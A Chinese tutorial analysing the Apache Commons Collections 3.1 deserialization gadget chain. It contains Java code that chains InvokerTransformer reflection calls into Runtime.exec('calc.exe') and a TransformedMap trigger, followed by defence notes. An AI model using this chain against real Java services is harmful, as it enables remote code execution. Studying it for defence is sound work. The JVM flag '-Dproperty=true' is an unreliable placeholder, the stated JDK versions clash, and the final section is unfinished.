Java反序列化CC链分析
字数 1352 2025-08-12 11:33:54
Java反序列化CC链分析教学文档
一、概述
Apache Commons Collections(简称CC)是Apache软件基金会的一个项目,为Java标准Collections API提供了扩展功能。Commons Collections包中存在的反序列化漏洞(CC链)是Java安全领域的重要研究课题。
序列化前提条件
- 类必须实现
java.io.Serializable接口 - 类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明为
transient
二、环境搭建
- 下载Commons Collections 3.1版本:
https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip - 解压后导入
commons-collections-3.1.jar到Java项目 - 使用JDK 1.8.0_281版本
三、核心Transformer组件分析
1. Transformer接口
Transformer是规范类型转换行为的接口,关键实现类包括:
- ChainedTransformer
- ConstantTransformer
- InvokerTransformer
- 其他:CloneTransformer, ClosureTransformer等
2. ConstantTransformer
作用:获取class对象,忽略输入参数,始终返回构造时指定的对象。
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object transform = constantTransformer.transform("any");
// 输出:class java.lang.Runtime
3. InvokerTransformer
作用:通过反射调用传入对象的方法。
构造方法参数:
- methodName:方法名
- 参数类型数组
- 参数值数组
安全限制:
- Commons Collections 3.2.2+:序列化/反序列化会抛出UnsupportedOperationException
- Commons Collections4 4.1+:直接禁止反序列化
4. ChainedTransformer
作用:将多个Transformer串联执行,前一个的输出作为后一个的输入。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
// 其他Transformer...
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform("any");
四、攻击链构造
1. 基本攻击链构造
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{cmd})
};
2. 简化版(直接传入Runtime实例)
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
});
五、TransformedMap利用
1. TransformedMap作用
将Map与转换链绑定,当Map被修改时自动触发转换链。
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
2. 触发方式
以下操作都会触发转换链:
put()putAll()setValue()
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
entry.setValue("test"); // 触发命令执行
}
六、完美利用链 - AnnotationInvocationHandler
1. 问题与解决方案
基本利用需要服务端:
- 反序列化为Map
- 修改Map值
通过sun.reflect.annotation.AnnotationInvocationHandler可以实现自动触发。
2. 关键点
- JDK 1.7中存在完美readObject复写点
- 反序列化时自动触发Map操作
七、防御措施
-
升级Commons Collections版本:
- 3.2.2+版本对InvokerTransformer增加了安全限制
- 4.1+版本完全禁止InvokerTransformer的反序列化
-
JVM参数防御:
-Dproperty=true -
代码层面:
- 避免反序列化不可信数据
- 使用白名单验证反序列化类
八、历史链分析
(待补充详细分析)